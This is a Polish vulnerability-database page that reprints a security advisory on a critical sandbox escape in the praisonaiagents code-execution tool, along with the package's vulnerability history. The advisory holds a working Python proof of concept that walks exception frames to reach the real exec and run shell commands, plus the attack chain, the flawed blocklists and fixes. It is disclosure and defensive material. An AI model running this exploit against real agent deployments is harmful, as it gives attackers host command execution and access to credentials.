Krytyczna

PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)

  • Ujawniono: 08.04.2026
  • Aktualizacja: 11.10.2026 14:17

Summary

execute_code() in praisonaiagents.tools.python_tools defaults to sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a restricted __builtins__ dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked_attrs, line 143 of python_tools.py) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list:

Attribute In subprocess blocked_attrs In direct-mode _blocked_attrs
__traceback__ NO YES
tb_frame NO YES
f_back NO YES
f_builtins NO YES

Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer.

Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.


Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical

Vector Value Rationale
AV:N Network execute_code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments
AC:L Low No race conditions or special configuration required
PR:L Low Requires ability to submit code through an agent (typical end-user privilege)
UI:N None No victim interaction
S:C Changed Escapes subprocess sandbox into full host process context
C:H High Arbitrary file read, environment variable access, credential exfiltration
I:H High Arbitrary file write, arbitrary code execution on host
A:H High Can terminate processes, exhaust resources

Affected

  • Package: praisonaiagents (PyPI)
  • Affected versions: all versions shipping sandbox_mode="sandbox" (default since introduction) through 1.5.113
  • Patched versions: none at time of report
  • File: praisonaiagents/tools/python_tools.py

Root Cause

Two separate blocked_attrs sets — one much weaker than the other

_validate_code_ast() (line 39, used by direct mode) blocks 30+ attributes:

python
# python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)
_blocked_attrs = frozenset({
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',   # ← present here
    '__wrapped__', '__closure__', '__annotations__',
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← present here
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here
    'co_consts', 'co_names',
})

The subprocess wrapper script written to disk (line 143) uses a separate, inline blocked_attrs with only 11 entries — the frame-traversal attrs are missing:

python
# python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__'
    # __traceback__, tb_frame, f_back, f_builtins — all absent
}

_safe_getattr does not protect direct dot-notation access

_safe_getattr replaces the getattr builtin and blocks attribute names starting with _. However, it is only invoked when user code explicitly calls getattr(obj, name). Direct attribute access (obj.attr in source) uses Python's C-level tp_getattro slot and never passes through _safe_getattr. The AST check is therefore the only barrier to direct attribute access, and it is insufficient.

No text-pattern blocklist in subprocess mode

_execute_code_direct applies a text-pattern blocklist (dangerous_patterns) as a defence-in-depth layer. _execute_code_sandboxed has no such layer — only the AST check runs.


Proof of Concept

python
import os
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
from praisonaiagents.tools.python_tools import execute_code

CMD = "id"   # any shell command

payload = f"""
try:
    1/0
except ZeroDivisionError as e:
    _p = e.__traceback__.tb_frame.f_back
    _x = _p.f_builtins["exec"]
    _x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",
       {{"__builtins__": _p.f_builtins}})
"""

 result = execute_code(code=payload)
print(result["stdout"])

Output (praisonaiagents 1.5.113, Python 3.10):

uid=1000(user) gid=1000(user) groups=1000(user)
<img width="775" height="429" alt="image" src="https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf" />

Why each defence is bypassed:

Layer Status Reason
AST blocked_attrs BYPASSED __traceback__, tb_frame, f_back, f_builtins not in 11-item subprocess list
_safe_getattr BYPASSED Only intercepts getattr() calls; dot notation uses C-level tp_getattro
exec-by-name AST check BYPASSED Called as _x(...) — func.id is '_x', not 'exec'
Text-pattern blocklist N/A Does not exist in subprocess mode
Subprocess process isolation BYPASSED Frame traversal reaches real builtins within the subprocess

Attack Chain

execute_code(payload)
  └─ _execute_code_sandboxed()
       └─ subprocess: exec(user_code, safe_globals)
            └─ user_code raises ZeroDivisionError
                 └─ e.__traceback__           ← __traceback__ not in blocked_attrs
                      └─ .tb_frame           ← tb_frame not in blocked_attrs
                           └─ .f_back        ← f_back not in blocked_attrs
                                └─ .f_builtins  ← f_builtins not in blocked_attrs
                                     └─ ["exec"]  ← dict subscript, no attr check
                                          └─ _x("import subprocess; ...")
                                               └─ RCE

Impact

Any application that exposes execute_code to user-controlled or LLM-generated input — including all standard PraisonAI agent deployments — is fully compromised by a single API call:

  • Arbitrary command execution on the host (in the subprocess user context)
  • File system read/write — source code, credentials, .env files, SSH keys
  • Environment variable exfiltration — API keys, secrets passed to the agent process
  • Network access — outbound connections to attacker infrastructure unaffected by env={}
  • Lateral movement — the subprocess inherits the host's network stack and filesystem

Suggested Fix

1. Merge blocked_attrs into a single shared constant

The subprocess wrapper must use the same attribute blocklist as the direct mode. Replace the inline blocked_attrs in the wrapper template with the full set:

python
# Add to subprocess wrapper template (python_tools.py ~line 143):
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',    # ← ADD
    '__wrapped__', '__closure__', '__annotations__',  # ← ADD
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',    # ← ADD
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← ADD
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD
    'co_consts', 'co_names',                          # ← ADD
}

2. Block all _-prefixed attribute access at AST level

_safe_getattr only covers getattr() calls. Add a blanket AST rule to block any ast.Attribute node whose attr starts with _:

python
if isinstance(node, ast.Attribute) and node.attr.startswith('_'):
    return f"Access to private attribute '{node.attr}' is restricted"

3. Add the text-pattern layer to subprocess mode

Mirror _execute_code_direct's dangerous_patterns check in _execute_code_sandboxed as defence-in-depth.


References

  • Affected file: praisonaiagents/tools/python_tools.py (PyPI: praisonaiagents)
  • CWE-693: Protection Mechanism Failure
  • CWE-657: Violation of Secure Design Principles

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) praisonaiagents < 1.5.115 1.5.115

Odnośniki

Ocena CVSS 9.9/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Słabość (CWE)
CWE-657, CWE-693
Platforma
Python (PyPI)
Paczka
praisonaiagents
Ujawniono
08.04.2026
Aktualizacja
11.10.2026 14:17

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-qf73-2hrx-xprp - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-486 - PyPA Advisory Database; CC BY 4.0

Historia podatności: praisonaiagents

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (50) w archiwum
Wszystkich wpisów
50
Pierwsza → ostatnia
04.2026 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 10
  • Wysoka 27
  • Średnia 13

Ujawnienia w latach

  1. 2026: 50
Istotność:
  1. Wysoka · 7.5 CVE-2026-55525 < 1.6.58 1.6.58
  2. Wysoka · 7.5 CVE-2026-57129 < 1.6.59 1.6.59
  3. Krytyczna · 9.8 CVE-2026-57125 < 1.6.59 1.6.59
  4. Wysoka · 9.8 CVE-2026-44335 < 1.6.32 1.6.32
  5. Krytyczna · 9.8 CVE-2026-40288 < 1.5.140 1.5.140
  6. Wysoka · 8.4 CVE-2026-40287 < 1.5.140 1.5.140
  7. Wysoka CVE-2026-40160 >= 0.13.23, < 1.5.128 1.5.128
  8. PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode) ten wpis
    Krytyczna · 9.9 CVE-2026-39888 < 1.5.115 1.5.115
  9. Wysoka · 8.6 CVE-2026-34954 < 1.5.95 1.5.95

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.